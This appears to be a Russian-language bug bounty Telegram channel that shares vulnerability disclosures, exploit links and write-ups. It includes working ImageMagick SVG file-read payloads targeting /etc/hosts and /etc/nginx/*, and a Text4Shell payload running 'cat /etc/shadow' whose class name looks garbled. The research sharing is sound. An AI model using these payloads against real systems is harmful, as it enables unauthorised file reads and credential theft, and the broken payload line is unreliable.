YAFCAB

#дисклоз

Зашёл на страницу корзины
Пробрутил параметры
/etc/passwd
Local file read
#дисклоз

Крутую статью нашёл, рекомендую к прочтению
https://www.rcesecurity.com/2022/11/from-zero-to-hero-part-1-bypassing-intel-dcms-authentication-cve-2022-33942/

Exploit для ProxyNotShell
https://github.com/testanull/ProxyNotShell-PoC

Ответ на периодически летающий в воздухе вопрос о том, есть ли в 2022 году sql inj
Уже собирался закрывать приложение, думаю посмотрю "вот это ещё" и закрою.
Раз кавычка - ошибка
Два кавычка - нет ошибки

К вечернему чтиву предлагаю вам два моих довольно подобных райтапа. Первый - на айдор, позволяющий твитить от имени любого пользователя.
Второй - это описание 3х rce на yahoo.

https://medium.com/@kedrisec/publish-tweets-by-any-other-user-6c9d892708e3

https://medium.com/@kedrisec/how-i-found-2-9-rce-at-yahoo-bug-bounty-program-20ab50dbfac7

#дисклоз

Список ссылок на статьи по ImageMagick и всяким приколам с ним связанным
https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
https://blog.bushwhackers.ru/googlectf-2019-gphotos-writeup/
https://www.synacktiv.com/en/publications/playing-with-imagetragick-like-its-2016.html
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
https://2021.zeronights.ru/wp-content/uploads/2021/09/lerner_1.pdf

У меня тут открытие произошло как водится случайно. Крутил я читалку файлов через imagemagick со стандартным пейлоадом:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="text:/etc/hosts" height="1000" width="1000"/>
</svg>
Вроде читалка работала, но вот качество изображения было шакальное. Думал как можно это обойти и сделать так, чтобы не было ощущения что у тебя зрение -10. На помощь пришли атрибут viewBox, который позволил мне "зумить" квадратик указанного размера и распознавать содержимое файла.
Пейлоад принял такую форму:
<svg width="1000" height="1000" viewBox="0 0 150 150">
<image xlink:href="text:/etc/hosts" height="1000" width="1000"/>
</svg>
А теперь финт ушами ради которого вообще я решил написать пост.
Читаем статью https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Меняем пейлоад с учётом свежеполученных знаний на такой:
<svg width="1000" height="1000" viewBox="0 0 1000 1000" >
<image xlink:href="vid:text:/etc/nginx/*" height="1000" width="1000"/>
</svg>
И получаем объединённую картинку со всеми файлами из директории /etc/nginx/

Если вы пользуетесь dnsvalidator (https://github.com/vortexau/dnsvalidator) из оригинального репозитория, то спешу вам сообщить, что он работает некорректно.
Проблема в том, что в процессе валидации есть проверка на наличие dns cache poisoning, суть проверки в том, что генерируется рандомный поддомен (типа 123de312d.facebook.com) на основании ряда прописанных в скрипте доменов.
Среди этих доменов есть telegram.com, который судя по всему, на момент написания тулзы не имел wildcard на несуществующие поддомены, а сейчас имеет. Таким образом ни один резолвер проверку на "вшивость" (dns cache poisoning) не сможет пройти потому что любой рандомный поддомен telegram.com будет отдавать A запись.
Работающий проверенный форк валидатора доступен тут https://github.com/proabiral/dnsvalidator

Я решил периодически постить старые находки в настолько простом виде, насколько возможно. Тем более если суть уязвимости укладывается в один скриншот.
Не всегда эти находки будут хоть сколько-нибудь интересными, но быть может кого-то мотивируют, как в своё время мотивировали меня.
Хоть все уязвимости пофикшены, я не всегда буду раскрывать компанию. Особенно если она приватная.
В общем над деталями формата я пока ещё думаю, а пока держите.
#дисклоз

Заскриню, пожалуй

Второй день пытаюсь сделать account takeover
Пока пытаюсь, нашёл 3 xssки, а AT пока так и не выходит...

Прошлая неделя была довольно продуктивной в плане бб.
Эту неделю я приводил в порядок самописную assets surface management тулзу(она кстати никакого отношения к этим находкам не имеет), поэтому вообще не ломал.
Надеюсь исправить это на следующей неделе.
Когда баги пофиксят я поделюсь подробностями.

https://lab.wallarm.com/new-text2shell-rce-vulnerability-in-apache-common-texts-cve-2022-42889/
Свежая рце по мотивам log4j
${script:javascript:java.lang.Run.Runtime.getRuntime().exec("cat /etc/shadow");}

Буду писать тут про всякие баг баунти и вебсек штуки

Channel name was changed to «YAFCAB»

Channel created